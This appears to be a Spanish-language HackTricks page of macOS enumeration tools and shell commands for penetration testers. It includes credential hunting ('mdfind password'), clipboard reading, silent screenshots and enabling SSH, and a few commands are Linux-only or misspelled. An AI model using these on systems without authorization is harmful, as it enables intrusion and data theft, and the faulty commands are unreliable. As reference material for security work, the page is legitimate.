* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
### Herramientas de Enumeración Automática de MacOS
|
||||
|
||||
* **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
|
||||
* **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum\_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum\_osx.rb)
|
||||
* **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt)
|
||||
|
||||
### Comandos Específicos de MacOS
|
||||
```bash
|
||||
#System info
|
||||
date
|
||||
cal
|
||||
uptime #show time from starting
|
||||
w #list users
|
||||
whoami #this user
|
||||
finger username #info about user
|
||||
uname -a #sysinfo
|
||||
cat /proc/cpuinfo #processor
|
||||
cat /proc/meminfo #memory
|
||||
free #check memory
|
||||
df #check disk
|
||||
|
||||
launchctl list #List services
|
||||
atq #List "at" tasks for the user
|
||||
sysctl -a #List kernel configuration
|
||||
diskutil list #List connected hard drives
|
||||
nettop #Monitor network usage of processes in top style
|
||||
|
||||
system_profiler SPSoftwareDataType #System info
|
||||
system_profiler SPPrintersDataType #Printer
|
||||
system_profiler SPApplicationsDataType #Installed Apps
|
||||
system_profiler SPFrameworksDataType #Instaled framework
|
||||
system_profiler SPDeveloperToolsDataType #Developer tools info
|
||||
system_profiler SPStartupItemDataType #Startup Items
|
||||
system_profiler SPNetworkDataType #Network Capabilities
|
||||
system_profiler SPFirewallDataType #Firewall Status
|
||||
system_profiler SPNetworkLocationDataType #Known Network
|
||||
system_profiler SPBluetoothDataType #Bluetooth Info
|
||||
system_profiler SPEthernetDataType #Ethernet Info
|
||||
system_profiler SPUSBDataType #USB info
|
||||
system_profiler SPAirPortDataType #Airport Info
|
||||
|
||||
|
||||
#Searches
|
||||
mdfind password #Show all the files that contains the word password
|
||||
mfind -name password #List all the files containing the word password in the name
|
||||
|
||||
|
||||
#Open any app
|
||||
open -a <Application Name> --hide #Open app hidden
|
||||
open some.doc -a TextEdit #Open a file in one application
|
||||
|
||||
|
||||
#Computer doesn't go to sleep
|
||||
caffeinate &
|
||||
|
||||
|
||||
#Screenshot
|
||||
# This will ask for permission to the user
|
||||
screencapture -x /tmp/ss.jpg #Save screenshot in that file
|
||||
|
||||
|
||||
#Get clipboard info
|
||||
pbpaste
|
||||
|
||||
|
||||
#system_profiler
|
||||
system_profiler --help #This command without arguments take lot of memory and time.
|
||||
system_profiler -listDataTypes
|
||||
system_profiler SPSoftwareDataType SPNetworkDataType
|
||||
|
||||
|
||||
#Network
|
||||
arp -i en0 -l -a #Print the macOS device's ARP table
|
||||
lsof -i -P -n | grep LISTEN
|
||||
smbutil statshares -a #View smb shares mounted to the hard drive
|
||||
|
||||
#networksetup - set or view network options: Proxies, FW options and more
|
||||
networksetup -listallnetworkservices #List network services
|
||||
networksetup -listallhardwareports #Hardware ports
|
||||
networksetup -getinfo Wi-Fi #Wi-Fi info
|
||||
networksetup -getautoproxyurl Wi-Fi #Get proxy URL for Wifi
|
||||
networksetup -getwebproxy Wi-Fi #Wifi Web proxy
|
||||
networksetup -getftpproxy Wi-Fi #Wifi ftp proxy
|
||||
|
||||
|
||||
#Brew
|
||||
brew list #List installed
|
||||
brew search <text> #Search package
|
||||
brew info <formula>
|
||||
brew install <formula>
|
||||
brew uninstall <formula>
|
||||
brew cleanup #Remove older versions of installed formulae.
|
||||
brew cleanup <formula> #Remove older versions of specified formula.
|
||||
|
||||
|
||||
#Make the machine talk
|
||||
say hello -v diego
|
||||
#spanish: diego, Jorge, Monica
|
||||
#mexican: Juan, Paulina
|
||||
#french: Thomas, Amelie
|
||||
|
||||
########### High privileges actions
|
||||
sudo purge #purge RAM
|
||||
#Sharing preferences
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh)
|
||||
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh)
|
||||
#Start apache
|
||||
sudo apachectl (start|status|restart|stop)
|
||||
##Web folder: /Library/WebServer/Documents/
|
||||
#Remove DNS cache
|
||||
dscacheutil -flushcache
|
||||
sudo killall -HUP mDNSResponder
|
||||
```
|
||||
### Software y Servicios Instalados
|
||||
|
||||
Verificar la existencia de aplicaciones **sospechosas** instaladas y los **privilegios** sobre los recursos instalados:
|
||||
```
|
||||
system_profiler SPApplicationsDataType #Installed Apps
|
||||
system_profiler SPFrameworksDataType #Instaled framework
|
||||
lsappinfo list #Installed Apps
|
||||
launchtl list #Services
|
||||
```
|
||||
### Procesos de Usuario
|
||||
```
|
||||
# will print all the running services under that particular user domain.
|
||||
launchctl print gui/<users UID>
|
||||
|
||||
# will print all the running services under root
|
||||
launchctl print system
|
||||
|
||||
# will print detailed information about the specific launch agent. And if it’s not running or you’ve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login
|
||||
launchctl print gui/<user's UID>/com.company.launchagent.label
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue